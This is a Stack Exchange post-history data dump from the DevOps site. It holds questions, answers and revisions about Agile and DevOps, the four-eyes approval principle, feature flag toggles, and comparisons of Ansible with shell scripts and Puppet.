  <row Id="1016" PostHistoryTypeId="5" PostId="333" RevisionGUID="8a8772d4-cc25-4bc9-aab2-2297ace791ef" CreationDate="2017-03-05T10:16:19.893" UserId="6" Comment="change reference to word Agile according to original idea (from https://youtu.be/a-BOSpxYJ9M)" Text="[Agile software development][1] is the methodology of choice for software shops today. But there are still organisations which are not practicing Agile in their software development, who might be interested in adopting DevOps.&#xD;&#xA;&#xD;&#xA;When I say Agile Software Development, I mean any offspring that came out of the [Manifesto for Agile Software Development][2]. Such as [Extreme Programming][3], [Scrum][4], [Lean Software Development][5] and others.&#xD;&#xA;&#xD;&#xA;**Is Agile software development a mandatory prerequisite of adopting DevOps on an organisation level?**&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Agile_software_development&#xD;&#xA;  [2]: http://agilemanifesto.org/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Extreme_programming&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Scrum_(software_development)&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Lean_software_development" ContentLicense="CC BY-SA 3.0" />
  <row Id="1017" PostHistoryTypeId="4" PostId="333" RevisionGUID="8a8772d4-cc25-4bc9-aab2-2297ace791ef" CreationDate="2017-03-05T10:16:19.893" UserId="6" Comment="change reference to word Agile according to original idea (from https://youtu.be/a-BOSpxYJ9M)" Text="Does my organization need adopt Agile Soft. Dev. before adopting DevOps?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1018" PostHistoryTypeId="2" PostId="337" RevisionGUID="658e81c3-a62f-4ceb-8eb0-c12ff0896cc3" CreationDate="2017-03-05T11:03:50.957" UserId="40" Text="Michael Grünewald recently posted [this comment][1]:&#xD;&#xA;&#xD;&#xA;&gt; A very important method you do not mention is the “four-eyes principle” which is used in the finance – either as a regulatory obligation or as a safe-guard. In the software industry it is implemented in various ways, as e.g. code reviews but also can be used to validate commands affecting live systems.&#xD;&#xA;&#xD;&#xA;Correct me if I'm wrong, but I was thaught that the **`four-eyes principle`** is about something that is &quot;approved to happen&quot;, after at least 2 human beings (and/or automated processes) gave their prior blessing.&#xD;&#xA;&#xD;&#xA;Regulatory obligations are possibly off topic here, but in the context of &quot;safe-guard&quot;, what are the possible conceptual implementations of this four-eyes principle, which probably could apply to any platform / OS / hardware being used?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/posts/311/timeline#comment_394" ContentLicense="CC BY-SA 3.0" />
  <row Id="1019" PostHistoryTypeId="1" PostId="337" RevisionGUID="658e81c3-a62f-4ceb-8eb0-c12ff0896cc3" CreationDate="2017-03-05T11:03:50.957" UserId="40" Text="What are possible implementations of the four-eyes principle?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1020" PostHistoryTypeId="3" PostId="337" RevisionGUID="658e81c3-a62f-4ceb-8eb0-c12ff0896cc3" CreationDate="2017-03-05T11:03:50.957" UserId="40" Text="&lt;configuration&gt;&lt;approvals&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1021" PostHistoryTypeId="2" PostId="338" RevisionGUID="e4cefc34-a79a-4750-9e1f-1ddfd5db65ad" CreationDate="2017-03-05T11:03:50.957" UserId="40" Text="### Code Reviews&#xD;&#xA;&#xD;&#xA;This is about having at least 1 other person look at the code written by somebody, eg to evaluate if it meets some predefined criteria like:&#xD;&#xA;&#xD;&#xA;- Coding standards (indentations, etc).&#xD;&#xA;- Inline documentation.&#xD;&#xA;- Maintainability of the code.&#xD;&#xA;- Error handling.&#xD;&#xA;- Completeness (eg `if/then/else` or `case/when` constructs cover all possible cases).&#xD;&#xA;&#xD;&#xA;### Approvals to update some target environments&#xD;&#xA;&#xD;&#xA;This is about having at least 2 confirmations from some person and/or automated system before it is allowed to update some target environment (which may be live, or may be something like some master file / baseline library). Some examples are:&#xD;&#xA;&#xD;&#xA;- Only a limited set of warnings are allowed when transforming (building) source components in executable components.&#xD;&#xA;- Some set of automated tests must have completed without any probems.&#xD;&#xA;- Some human beings must have indicated their prior approval (and without that, any attempts to update the target environments will automatically fail)." ContentLicense="CC BY-SA 3.0" />
  <row Id="1022" PostHistoryTypeId="5" PostId="337" RevisionGUID="52dfd287-6323-4e50-bc12-15d6b090aedc" CreationDate="2017-03-05T11:13:09.023" UserId="40" Comment="added 390 characters in body" Text="Michael Grünewald recently posted [this comment][1]:&#xD;&#xA;&#xD;&#xA;&gt; A very important method you do not mention is the “four-eyes principle” which is used in the finance – either as a regulatory obligation or as a safe-guard. In the software industry it is implemented in various ways, as e.g. code reviews but also can be used to validate commands affecting live systems.&#xD;&#xA;&#xD;&#xA;Correct me if I'm wrong, but I was thaught that the **`four-eyes principle`** is about something that is &quot;approved to happen&quot;, after at least 2 human beings (and/or automated processes) gave their prior blessing. Or to use the (slightly corrected) wording about the **`two-(wo)man rule`** from [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; The two-(mo)man rule is a control mechanism designed to achieve a high level of security for especially critical material or operations. Under this rule all access and actions requires the presence of two authorized people at all times.&#xD;&#xA;&#xD;&#xA;Regulatory obligations are possibly off topic here, but in the context of &quot;safe-guard&quot;, what are the possible conceptual implementations of this four-eyes principle, which probably could apply to any platform / OS / hardware being used?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/posts/311/timeline#comment_394&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Two-man_rule" ContentLicense="CC BY-SA 3.0" />
  <row Id="1023" PostHistoryTypeId="5" PostId="337" RevisionGUID="d59698dc-8d5f-4e3b-8f11-fa82ebedc043" CreationDate="2017-03-05T11:27:42.387" UserId="14" Comment="Backticks are for code only, not emphasis." Text="Michael Grünewald recently posted [this comment][1]:&#xD;&#xA;&#xD;&#xA;&gt; A very important method you do not mention is the “four-eyes principle” which is used in the finance – either as a regulatory obligation or as a safe-guard. In the software industry it is implemented in various ways, as e.g. code reviews but also can be used to validate commands affecting live systems.&#xD;&#xA;&#xD;&#xA;Correct me if I'm wrong, but I was thaught that the **four-eyes principle** is about something that is &quot;approved to happen&quot;, after at least 2 human beings (and/or automated processes) gave their prior blessing. Or to use the (slightly corrected) wording about the **two-(wo)man rule** from [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; The two-(mo)man rule is a control mechanism designed to achieve a high level of security for especially critical material or operations. Under this rule all access and actions requires the presence of two authorized people at all times.&#xD;&#xA;&#xD;&#xA;Regulatory obligations are possibly off topic here, but in the context of &quot;safe-guard&quot;, what are the possible conceptual implementations of this four-eyes principle, which probably could apply to any platform / OS / hardware being used?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/posts/311/timeline#comment_394&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Two-man_rule" ContentLicense="CC BY-SA 3.0" />
  <row Id="1024" PostHistoryTypeId="2" PostId="339" RevisionGUID="48858c9e-cc30-4578-ace1-a46228f64f31" CreationDate="2017-03-05T11:54:23.650" UserId="10" Text="NO  &#xD;&#xA;==&#xD;&#xA;&#xD;&#xA;I would argue that *Mature* DevOps operation, does require a *Mature* Agile process. You are unlikely to be able to get the full confidence to continuously deploy or allow your developers to initiate the deployment process without a *mature* Agile process in place.&#xD;&#xA; &#xD;&#xA;However, I believe it is very important to make it clear that an organisation does NOT need to adopt their agile process before building up their DevOps culture and infrastructure. In fact, I would argue that it is actually easier to adopt Agile once you have some basic DevOps working in your company. Rather than Agile being a prerequisite for DevOps, I would suggest that DevOps be used to help advance your agile implementation." ContentLicense="CC BY-SA 3.0" />
  <row Id="1025" PostHistoryTypeId="2" PostId="340" RevisionGUID="94e6220a-0bec-4954-82d3-a299d20ce7f3" CreationDate="2017-03-05T11:57:53.200" UserId="72" Text="Agile Software Development is not *required* to do DevOps, but I believe the argument can be made that the value proposition for DevOps is often a lot lower without Agile.&#xD;&#xA;&#xD;&#xA;DevOps is a lot of things, but *automation* is a central theme.  The value of automation increases in direct proportion to the frequency with which Development creates new releases.  Frequent deployment has a positive impact on certain types of products, specifically consumer applications.  High velocity all the way through the software delivery lifecycle returns value for each iteration (anyone seen the CA ad where the zombies want new features in their apps?)&#xD;&#xA;&#xD;&#xA;Without Agile, high-frequency releases are extremely difficult, if not impossible.  If the Development team is releasing software once a quarter, or twice a year, DevOps can still automate the process, but then what is the point?  The investment in time, training, and resources to adopt DevOps may be partly returned in quality, however, the best value is in maintaining high velocity throughout the delivery lifecycle.&#xD;&#xA;&#xD;&#xA;One could also argue that if you're going to adopt DevOps, why *wouldn't* you also adopt Agile?  The principles that make them both work, work well together.  Practicing DevOps by itself, without Agile, could create an imbalance between Ops and Dev, in which Ops is outperforming Dev for service delivery." ContentLicense="CC BY-SA 3.0" />
  <row Id="1026" PostHistoryTypeId="2" PostId="341" RevisionGUID="bb7ac74f-fb9c-4dd3-a6d5-7b327d14d6b5" CreationDate="2017-03-05T12:02:52.467" UserId="6" Text="Assuming that feature flag toggles are a good idea, and should be implemented into code that developers write.&#xD;&#xA;&#xD;&#xA;**What is a good way to persuade (and enforce) developers to start using feature flag toggles?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="1027" PostHistoryTypeId="1" PostId="341" RevisionGUID="bb7ac74f-fb9c-4dd3-a6d5-7b327d14d6b5" CreationDate="2017-03-05T12:02:52.467" UserId="6" Text="How to *persuade* developers to start using feature flag toggles?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1028" PostHistoryTypeId="3" PostId="341" RevisionGUID="bb7ac74f-fb9c-4dd3-a6d5-7b327d14d6b5" CreationDate="2017-03-05T12:02:52.467" UserId="6" Text="&lt;culture&gt;&lt;feature-flags&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1029" PostHistoryTypeId="2" PostId="342" RevisionGUID="11647a86-2254-4506-a880-f5eca467409a" CreationDate="2017-03-05T12:07:00.607" UserId="6" Text="A team of IT sysadmins that have exprience using shell scripting to solve their problems, are contemplating to start using Ansible instead.&#xD;&#xA;&#xD;&#xA;**Are there substantial differences and good reasons to start using Ansible vs. to continue writing shell scripts?**" ContentLicense="CC BY-SA 3.0" />
  <row Id="1030" PostHistoryTypeId="1" PostId="342" RevisionGUID="11647a86-2254-4506-a880-f5eca467409a" CreationDate="2017-03-05T12:07:00.607" UserId="6" Text="How is Ansible different from simply running a provisioning bash shell in Vagrant?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1031" PostHistoryTypeId="3" PostId="342" RevisionGUID="11647a86-2254-4506-a880-f5eca467409a" CreationDate="2017-03-05T12:07:00.607" UserId="6" Text="&lt;ansible&gt;&lt;shell-script&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1032" PostHistoryTypeId="4" PostId="341" RevisionGUID="666ecae8-f6d1-4cfc-a3eb-0728774ba678" CreationDate="2017-03-05T12:08:41.860" UserId="14" Comment="Italics don't work in titles, so no use having the *styles*" Text="How to persuade developers to start using feature flag toggles?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1033" PostHistoryTypeId="2" PostId="343" RevisionGUID="d62f3a5f-b8eb-469e-9ddd-06cb0e686399" CreationDate="2017-03-05T12:11:56.213" UserId="72" Text="Feature toggles are a common practice in high-velocity development because they de-couple *development* from *release.*  Dev teams can &quot;soft-release&quot; a new feature to production, in a disabled state.  This allows the feature to be released any time.  If the feature is dependent on other work or preparation, it doesn't have to wait for a major release to go to production.&#xD;&#xA;&#xD;&#xA;As far as &quot;convincing&quot; developers to use them, that's an exercise in making the case for the freedom it offers. My experience is that it's not a tough sell to developers.  It's management that tends to be reluctant to try new things.  Try this:&#xD;&#xA;&#xD;&#xA; - Find a feature toggle framework.  Management/the business may be more&#xD;&#xA;   amenable to trying something supported by a common system&#xD;&#xA; - Start small.  Introduce the toggle system on a trial basis for a feature that will demonstrate its utility.&#xD;&#xA; - Demonstrate the toggle's ability to do A/B testing.  Enable the toggle for a subset of your web farm, then gather metrics on behavior.  Tiny differences in page layout have been demonstrated to have huge effects on revenue for retail applications (e.g. Ebay, Amazon)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1034" PostHistoryTypeId="5" PostId="341" RevisionGUID="e706824a-546d-48cf-8a91-899efb73659f" CreationDate="2017-03-05T13:13:52.120" UserId="6" Comment="add even more explanation about feature flags" Text="Assuming that feature flag toggles are a good idea, and should be implemented into code that developers write. For example Etsy swear by them as a [major part of their culture][1].&#xD;&#xA;&#xD;&#xA;**What is a good way to persuade (and enforce) developers to start using feature flag toggles?**&#xD;&#xA;&#xD;&#xA;More information about feature flag toggles is explained in [Q: How to use feature flag toggles.][2] And very extensively in [Martin Fowler's article on the subject][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://codeascraft.com/2011/02/04/how-does-etsy-manage-development-and-operations/&#xD;&#xA;  [2]: http://devops.stackexchange.com/questions/162/how-to-use-feature-flag-toggles&#xD;&#xA;  [3]: https://martinfowler.com/articles/feature-toggles.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1035" PostHistoryTypeId="5" PostId="341" RevisionGUID="47151e99-8ebe-4dc5-82f2-d91c495b4f9e" CreationDate="2017-03-05T13:20:03.773" UserId="6" Comment="proper attribution for ff article" Text="Assuming that feature flag toggles are a good idea, and should be implemented into code that developers write. For example Etsy swear by them as a [major part of their culture][1].&#xD;&#xA;&#xD;&#xA;**What is a good way to persuade (and enforce) developers to start using feature flag toggles?**&#xD;&#xA;&#xD;&#xA;More information about feature flag toggles is explained in [Q: How to use feature flag toggles.][2] And very extensively in Pete Hodgson's [article on the subject on Martin Fowler's blog][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://codeascraft.com/2011/02/04/how-does-etsy-manage-development-and-operations/&#xD;&#xA;  [2]: http://devops.stackexchange.com/questions/162/how-to-use-feature-flag-toggles&#xD;&#xA;  [3]: https://martinfowler.com/articles/feature-toggles.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1036" PostHistoryTypeId="2" PostId="344" RevisionGUID="6b7605f1-0112-407a-ae33-145fa5329ace" CreationDate="2017-03-05T13:24:59.803" UserId="40" Text="There are some questions about **`feature flag toggles`**, such as:&#xD;&#xA;&#xD;&#xA;- http://devops.stackexchange.com/q/341/40&#xD;&#xA;- http://devops.stackexchange.com/q/162/40&#xD;&#xA;&#xD;&#xA;**My questions**:&#xD;&#xA;&#xD;&#xA;- What is actually a &quot;feature flag toggle&quot; (in the context of DevOps)?&#xD;&#xA;- Why are they used?&#xD;&#xA;- Are there any pros/cons about using them?&#xD;&#xA;- What could be some examples where they are used?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1037" PostHistoryTypeId="1" PostId="344" RevisionGUID="6b7605f1-0112-407a-ae33-145fa5329ace" CreationDate="2017-03-05T13:24:59.803" UserId="40" Text="What is a 'Feature Flag Toggle' and when to use them (or not)?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1038" PostHistoryTypeId="3" PostId="344" RevisionGUID="6b7605f1-0112-407a-ae33-145fa5329ace" CreationDate="2017-03-05T13:24:59.803" UserId="40" Text="&lt;terminology&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1039" PostHistoryTypeId="2" PostId="345" RevisionGUID="02046a2c-de7a-4915-8ac8-4561165eb6a7" CreationDate="2017-03-05T13:52:14.770" UserId="2" Text="When you put it this way, even if Ansible has some inherent advantages, the benefits of using familiar tools (in this case shell scripting) must be outweighed. I don't think there's a clear cut answer to that.&#xD;&#xA;&#xD;&#xA;If the team can achieve the things Ansible offers with shell:&#xD;&#xA;&#xD;&#xA;1. Declarative, idempotent configuration management&#xD;&#xA;2. Access to re-usable snippets (i.e. playbooks) for industry popular services.&#xD;&#xA;3. Reliable management of remote execution, with retrying, rolling logic, etc.&#xD;&#xA;&#xD;&#xA;then they could probably stick with what they know.&#xD;&#xA;&#xD;&#xA;After all, you can implement &quot;guards&quot; in BASH. You can find lots of BASH existing work out there to solve a variety of server configuration tasks (essentially any Dockerfile out there is 90% bash installation code). You can get pretty close to what Ansible/Salt/Chef-Zero offer you, without actually having to port your entire existing solution to those tools.&#xD;&#xA;&#xD;&#xA;It's a balancing act between NIH (not invented here) tendencies, and throwing out good, established scripts in favor a more robust solution.&#xD;&#xA;&#xD;&#xA;One final consideration to keep in mind: how does your technology stack measure up when you try to recruit more people to the team. Finding people who have Ansible experience is a lot easier than finding people who have experience in your particular home-grown scripting CM tool. This isn't strictly a technical consideration, more a cultural one. Do you want to be the weird org that invents its own Ansible, or do you want to be the reasonable org that finds the right tool for the job? Those decision impact your ability to draw talent.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1040" PostHistoryTypeId="5" PostId="9" RevisionGUID="3251e8a3-eee7-40d9-9d7e-6607d55cc0c7" CreationDate="2017-03-05T14:05:19.713" UserId="6" Comment="fix spelling mistake s/field/build and remove assumption about interview questions" Text="How can you deploy a custom build of a core plugin bundled in Jenkins?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1041" PostHistoryTypeId="5" PostId="344" RevisionGUID="5478c93e-c87b-4f18-bb8f-e5c3771d3ab2" CreationDate="2017-03-05T14:19:34.273" UserId="40" Comment="deleted 97 characters in body" Text="There are some questions about **`feature flag toggles`**, such as:&#xD;&#xA;&#xD;&#xA;- http://devops.stackexchange.com/q/341/40&#xD;&#xA;- http://devops.stackexchange.com/q/162/40&#xD;&#xA;&#xD;&#xA;**My questions**:&#xD;&#xA;&#xD;&#xA;- What is actually a &quot;feature flag toggle&quot; (in the context of DevOps)?&#xD;&#xA;- Why are they used?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1042" PostHistoryTypeId="2" PostId="346" RevisionGUID="36277145-ce6e-4f5c-b92d-29635fe147e9" CreationDate="2017-03-05T14:28:14.987" UserId="40" Text="[Ken Mugrage][1] posted an interesting comment below my question, with a link to an illuminating explanation of &quot;[Feature toggles][2]&quot;, with a summary of it like so:&#xD;&#xA;&#xD;&#xA;&gt; Feature toggles are a powerful technique, allowing teams to modify system behavior without changing code. They fall into various usage categories, and it's important to take that categorization into account when implementing and managing toggles. Toggles introduce complexity. We can keep that complexity in check by using smart toggle implementation practices and appropriate tools to manage our toggle configuration, but we should also aim to constrain the number of toggles in our system.&#xD;&#xA;&#xD;&#xA;Not only does the above summary help to understand what this is about, but it also contains some examples that explain *why they are use*. And after digesting it a bit further, it seems that &quot;Feature Toggles&quot; and &quot;Feature Flag Toggles&quot; are pretty much a synonym of each other.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/users/513/ken-mugrage&#xD;&#xA;  [2]: https://martinfowler.com/articles/feature-toggles.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1043" PostHistoryTypeId="2" PostId="347" RevisionGUID="ce83eebf-f939-479d-aa24-e74ab7a81694" CreationDate="2017-03-05T14:37:20.063" UserId="6" Text="Without repeating the content of https://martinfowler.com/articles/feature-toggles.html, since it is an amazing in-depth explanation on what feature flag toggles are. I will just focus on one DevOps aspects.&#xD;&#xA;&#xD;&#xA;According to the [2014 State of DevOps Report][1] prepared by PuppetLabs, there are four major metrics to measure IT performance:&#xD;&#xA;&#xD;&#xA;* Lead time for changes&#xD;&#xA;* Release frequency&#xD;&#xA;* Time to restore service&#xD;&#xA;* Change fail rate&#xD;&#xA;&#xD;&#xA;These contribute to organisational performance overall. So basically it means that if your IT is doing great on these metrics, your bottom line gets more $$$.&#xD;&#xA;&#xD;&#xA;Continuous Delivery is enabled by these metrics, and has been described in depth in the book [Continuous Delivery: Reliable Software Releases through Build, Test, and Deployment Automation][2] by Jez Humble.&#xD;&#xA;&#xD;&#xA;In context of [Continuous Delivery][3], there is an important distinction that differentiates it from [Continuous Deployment][4]. And that is the decision when to do a *release* of features.&#xD;&#xA;&#xD;&#xA;Keeping changes a bit smaller, and deploying half-baked features to production systems with a feature flag toggled-off allows to shorten **lead time for changes**.&#xD;&#xA;&#xD;&#xA;When features are finished, doing a *release* is a decision left to the business. The feature can be released using A/B experiements to part of the customer base, or to select people, or even general availability (GA). Although releasing to GA is often done only after there is enough certainty that the feature works as expected. One might argue that this in effect affects **release frequency** to be higher.&#xD;&#xA;&#xD;&#xA;*This decoupling of **release** and **deploy** is almost impossible to achieve without feature flag toggles.*&#xD;&#xA;&#xD;&#xA;Naturally when no deployment is required to toggle a feature *off*, then the **time to restore service** is lowered substantially.&#xD;&#xA;&#xD;&#xA;And by using feature flags that release features to a small slice of the customer base, the **change fail rate** metric can be improved significantly as well.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;So a simple mechanism called *feature flag toggles* enables much better IT performance, and in turn improves organisational performance overall.&#xD;&#xA;&#xD;&#xA;Great example of how this is done in real companies can be found at [Flickr][5] (on of the earliest public posts on the subject), and at [Etsy][6]. But many others have adopted the practice and talked about it in length, for example the famous [engineering culture at Spotify video][7]. &#xD;&#xA;&#xD;&#xA;Etsy are [showing off their internal tool to manage feature flags][8], called Catapult, in multiple presentations found around the web.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/2014-state-devops-report&#xD;&#xA;  [2]: https://www.amazon.com/dp/0321601912/&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Continuous_delivery&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Continuous_delivery#Relationship_to_continuous_deployment&#xD;&#xA;  [5]: http://code.flickr.net/2009/12/02/flipping-out/&#xD;&#xA;  [6]: https://codeascraft.com/2011/02/04/how-does-etsy-manage-development-and-operations/&#xD;&#xA;  [7]: https://labs.spotify.com/2014/03/27/spotify-engineering-culture-part-1/&#xD;&#xA;  [8]: http://mcfunley.com/design-for-continuous-experimentation" ContentLicense="CC BY-SA 3.0" />
  <row Id="1044" PostHistoryTypeId="5" PostId="346" RevisionGUID="44c63ec1-59ea-47e0-a023-8ca875ec88db" CreationDate="2017-03-05T14:39:05.153" UserId="40" Comment="added 464 characters in body" Text="[Ken Mugrage][1] posted an interesting comment below my question, with a link to an illuminating explanation of &quot;[Feature toggles][2]&quot;, with a summary of it like so:&#xD;&#xA;&#xD;&#xA;&gt; Feature toggles are a powerful technique, allowing teams to modify system behavior without changing code. They fall into various usage categories, and it's important to take that categorization into account when implementing and managing toggles. Toggles introduce complexity. We can keep that complexity in check by using smart toggle implementation practices and appropriate tools to manage our toggle configuration, but we should also aim to constrain the number of toggles in our system.&#xD;&#xA;&#xD;&#xA;Not only does the above summary help to understand what this is about, but it also contains some examples that explain *why they are use*. And after digesting it a bit further, it seems that &quot;Feature Toggles&quot; and &quot;Feature Flag Toggles&quot; are pretty much a synonym of each other.&#xD;&#xA;&#xD;&#xA;But, solution (answer) to the problem (question), changes the problem ... one might ask related questions such as:&#xD;&#xA;&#xD;&#xA;- What are the pros/cons about using them? It's a powerful concept, but also a scary one if not used wisely (and secured appropriately) ...&#xD;&#xA;- What could be some examples (good ones and bads ones) where they are used? I can think of quite a few of them, some of them I've used myself quite some time ago (from before DevOps was even a thing).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/users/513/ken-mugrage&#xD;&#xA;  [2]: https://martinfowler.com/articles/feature-toggles.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1045" PostHistoryTypeId="5" PostId="347" RevisionGUID="9a13a8cc-6c24-44e2-a26c-0e0945c52ea2" CreationDate="2017-03-05T14:46:28.317" UserId="6" Comment="editing!" Text="Without repeating the content of https://martinfowler.com/articles/feature-toggles.html, since it is an amazing in-depth explanation on what feature flag toggles are. I will just focus on the DevOps aspects.&#xD;&#xA;&#xD;&#xA;According to the [2014 State of DevOps Report][1] prepared by PuppetLabs, there are four major metrics to measure IT performance:&#xD;&#xA;&#xD;&#xA;* Lead time for changes&#xD;&#xA;* Release frequency&#xD;&#xA;* Time to restore service&#xD;&#xA;* Change fail rate&#xD;&#xA;&#xD;&#xA;These also contribute to organisational performance overall. So it means that if your IT is doing great on these metrics, your bottom line gets more $$$.&#xD;&#xA;&#xD;&#xA;[Continuous Delivery][2] is enabled by these metrics, and has been described in depth in the book [Continuous Delivery: Reliable Software Releases through Build, Test, and Deployment Automation][3] by Jez Humble.&#xD;&#xA;&#xD;&#xA;In context of [Continuous Delivery][4], there is an important distinction that differentiates it from [Continuous Deployment][5]. And that is the decision when to do a **release** of features (to customers).&#xD;&#xA;&#xD;&#xA;Keeping changes smaller in size, and deploying (copying code) half-baked features to production systems with a feature flag toggled *off* allows to shorten **lead time for changes**.&#xD;&#xA;&#xD;&#xA;When features are finally finished, doing a *release* is a decision left to the business. Maybe a release of a new feature needs to be aligned with some marketing, or a release in another part of the business like a feature in the mobile app.&#xD;&#xA;&#xD;&#xA;Features can be released using A/B experiements to only a part of the customer base, or to specific people, or even direct to general availability (GA). Although releasing to GA is often done only after there is enough certainty that the feature works as expected. One might argue that this in effect affects **release frequency** to be higher.&#xD;&#xA;&#xD;&#xA;*This decoupling of **release** and **deploy** is almost impossible to achieve without feature flag toggles.*&#xD;&#xA;&#xD;&#xA;Naturally when no deployment is required to toggle a feature *off*, then the **time to restore service** is lowered substantially.&#xD;&#xA;&#xD;&#xA;And by using feature flags that release features to a small slice of the customer base, the **change fail rate** metric can be improved significantly as well.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;So a simple mechanism called *feature flag toggles* enables much better IT performance, and in turn improves organisational performance overall.&#xD;&#xA;&#xD;&#xA;Great example of how this is done in real companies can be found at [Flickr][6] (on of the earliest public posts on the subject), and at [Etsy][7]. But many others have adopted the practice and talked about it in length, for example the famous [engineering culture at Spotify videos][8]. &#xD;&#xA;&#xD;&#xA;Etsy are [showing off their internal tool to manage feature flags][9], called Catapult, in multiple presentations found around the web. And Intuit release [an open-source tool called Wasabi][10] that helps manage feature flags.&#xD;&#xA;&#xD;&#xA;  [1]: https://puppet.com/resources/whitepaper/2014-state-devops-report&#xD;&#xA;  [2]: https://continuousdelivery.com&#xD;&#xA;  [3]: https://www.amazon.com/dp/0321601912/&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/Continuous_delivery&#xD;&#xA;  [5]: https://en.wikipedia.org/wiki/Continuous_delivery#Relationship_to_continuous_deployment&#xD;&#xA;  [6]: http://code.flickr.net/2009/12/02/flipping-out/&#xD;&#xA;  [7]: https://codeascraft.com/2011/02/04/how-does-etsy-manage-development-and-operations/&#xD;&#xA;  [8]: https://labs.spotify.com/2014/03/27/spotify-engineering-culture-part-1/&#xD;&#xA;  [9]: http://mcfunley.com/design-for-continuous-experimentation&#xD;&#xA;  [10]: https://github.com/intuit/wasabi/" ContentLicense="CC BY-SA 3.0" />
  <row Id="1046" PostHistoryTypeId="2" PostId="348" RevisionGUID="455ec2b4-af6a-48ad-af3a-d4a32d56bc35" CreationDate="2017-03-05T16:17:08.790" UserId="3" Text="I'd like to understand the differences between Puppet and Ansible, especially what kind of Puppet limitations has in comparison to Ansible.&#xD;&#xA;&#xD;&#xA;Are there any things you cannot do it in Puppet, but you can in Ansible? In other words, why some people moving away from Puppet to Ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1047" PostHistoryTypeId="1" PostId="348" RevisionGUID="455ec2b4-af6a-48ad-af3a-d4a32d56bc35" CreationDate="2017-03-05T16:17:08.790" UserId="3" Text="What are the limitations of Puppet in comparison to Ansible?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1048" PostHistoryTypeId="3" PostId="348" RevisionGUID="455ec2b4-af6a-48ad-af3a-d4a32d56bc35" CreationDate="2017-03-05T16:17:08.790" UserId="3" Text="&lt;ansible&gt;&lt;comparison&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1049" PostHistoryTypeId="6" PostId="344" RevisionGUID="2f9261e1-3bb4-4fe9-bcc6-20d205b54367" CreationDate="2017-03-05T16:35:34.097" UserId="40" Comment="edited tags" Text="&lt;terminology&gt;&lt;feature-flags&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1050" PostHistoryTypeId="2" PostId="349" RevisionGUID="48e5823c-7c17-4c68-b1f9-77236a031589" CreationDate="2017-03-05T17:10:24.177" UserId="2" Text="No, people moving away from Puppet to Ansible (or vice versa) has nothing to do with what can or cannot be accomplished with either tool. Puppet/Chef/Ansible - it's mostly a matter of taste. For example, Ansible is based on Python, and Python developers typically feel more at home with it (no need to learn a DSL, or Ruby (for Chef)). Easier for Python developers to extend Ansible as well. But in essence they're all very similar in terms of what you can achieve. Some have relative strengths in some areas, and weaknesses in others, but typically the choice between them is made by style/culture/preference of the team." ContentLicense="CC BY-SA 3.0" />
  <row Id="1051" PostHistoryTypeId="2" PostId="350" RevisionGUID="2ab12aec-cb34-4f75-aa83-c50263c5a7c6" CreationDate="2017-03-05T18:43:22.297" UserId="529" Text="One thing worth noting that you will have less issues in running your ansible playbooks on remote hosts too. As it's the main reason for running ansible.  When you are using shell scripting you still need to have a way to script the scp'ing to the remote host." ContentLicense="CC BY-SA 3.0" />
